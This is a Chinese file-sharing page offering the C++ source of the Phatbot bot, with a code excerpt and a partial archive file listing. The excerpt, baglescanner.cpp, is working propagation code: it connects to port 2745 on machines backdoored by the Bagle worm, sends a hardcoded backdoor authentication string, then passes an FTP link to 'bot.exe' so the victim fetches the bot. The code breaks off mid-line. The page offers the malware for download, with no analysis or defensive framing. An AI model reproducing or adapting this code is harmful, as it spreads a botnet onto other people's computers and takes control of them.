病毒Phatbot的C++源代码


病毒Phatbot源代码,使用C++ STL编写
资源截图
代码片段和文件信息
/*$T baglescanner.cpp GC 1.138 03/15/04 03:20:05 */


/*$6
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 */


#include “main.h“
#include “mainctrl.h“
#include “utility.h“

class CScannerBagle :
public CScannerbase
{
/*
 -----------------------------------------------------------------------------------------------------------------------
 -----------------------------------------------------------------------------------------------------------------------
 */
public:
CScannerBagle(void);
virtual ~CScannerBagle()
throw()
{
}
bool Exploit(void);
};

#define BAGLE_DEFAULT_PORT 2745

/*
 * Bagle.C : 3E7506B1 Bagle.E : 3E7506B1 Bagle.F : 9C0209C4 Bagle.G : 9C0209C4
 * Bagle.H : 9C0209C4 Bagle.J : 9C0209C4 Bagle.K : 9C0209C4 ?
 */

/*
 * OLD if someone thinks we should still send for the old version(that has timed out)
 * do it I‘m too lazy and I doubt there is much point [thegeek] 
 */

//char    bagle_auth1[] = “x43xFFxFFxFFx30x30x30x01x0Ax1Fx2Bx28x2BxA1x32x01“;
char bagle_auth2[] = “x43xFFxFFxFFx30x30x30x01x0Ax28x91xA1x2BxE6x60x2Fx32x8Fx60x15x1Ax20x1A“;
char spreadurl[] = “URL“;

/*
 =======================================================================================================================
 =======================================================================================================================
 */

CScannerBagle::CScannerBagle(void)
{
m_szType = “CScannerBagle“;
m_sScannerName.Assign(“Bagle“);
}

/*
 =======================================================================================================================
 =======================================================================================================================
 */
bool CScannerBagle::Exploit(void)
{
/*~~~~~~~~~~~~~~~~~~~*/
char szRecvBuf[128];
/*~~~~~~~~~~~~~~~~~~~*/

if(!m_sSocket.Connect(m_sSocket.m_szHost BAGLE_DEFAULT_PORT)) /* Connect failed exit */
{
return false;
}

if(g_pMainCtrl->m_cBot.scaninfo_level.iValue >= 2)
{
SendLocal(“%s: Scanning %s“ m_sScannerName.CStr() m_sSocket.m_szHost);
}

if(!m_sSocket.Write(bagle_auth2 sizeof(bagle_auth2)))
{
m_sSocket.Disconnect();
return false;
}

if(!m_sSocket.RecvTO(szRecvBuf 8 5000))
{
m_sSocket.Disconnect();
return false;
}

/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
int iPort = g_pMainCtrl->m_cBot.bot_ftrans_port_ftp.iValue;
CString sSpreadURL;
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

sSpreadURL.Format(“ftp://bla:bla@%s:%d/bot.exe“ g_pMainCtrl->m_cIRC.m_sLocalIp.CStr() iPort);

/* Send the url to download file from use built in ftp. */
if(!m_sSocket.Write(sSpreadURL.CStr(

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件          0  2004-03-21 17:22  Phatbot-stoney.svnempty-file

     文件      36018  2004-03-22 21:01  Phatbot-stoney.svnentries

     文件          2  2004-03-21 17:22  Phatbot-stoney.svnformat

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-base3dnow.h.svn-base

     文件         30  2004-03-22 16:39  Phatbot-stoney.svnprop-baseacinit.sh.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-baseagobot3.dsp.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-baseagobot3.dsw.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-baseagobot3.rc.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-baseapl.txt.svn-base

     文件         53  2004-03-21 17:23  Phatbot-stoney.svnprop-baseasmstub.OBJ.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney.svnprop-baseaglescanner.cpp.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-basenc.cpp.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-basenc.h.svn-base

     文件          4  2004-03-22 16:39  Phatbot-stoney.svnprop-baseot.cpp.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney.svnprop-baseot.h.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney.svnprop-baseuild.h.svn-base

     文件         30  2004-03-21 17:23  Phatbot-stoney.svnprop-baseuild.sh.svn-base

     文件          4  2004-03-22 21:01  Phatbot-stoney.svnprop-basechanges.txt.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-basecmdbase.h.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney.svnprop-basecmdline.cpp.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney.svnprop-basecmdline.h.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney.svnprop-basecmdopt.h.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-basecmdshell.cpp.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-basecmdshell.h.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-basecommands.cpp.svn-base

     文件          4  2004-03-21 17:22  Phatbot-stoney.svnprop-basecommands.h.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-baseconfbase.h.svn-base

     文件          4  2004-03-22 21:01  Phatbot-stoney.svnprop-baseconfig.cpp.svn-base

     文件          4  2004-03-21 17:23  Phatbot-stoney.svnprop-baseconfig.def.svn-base

     文件         53  2004-03-22 16:39  Phatbot-stoney.svnprop-baseconfiggui.exe.svn-base

............此处省略1418个文件信息

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件举报,一经查实,本站将立刻删除。

发表评论

评论列表(条)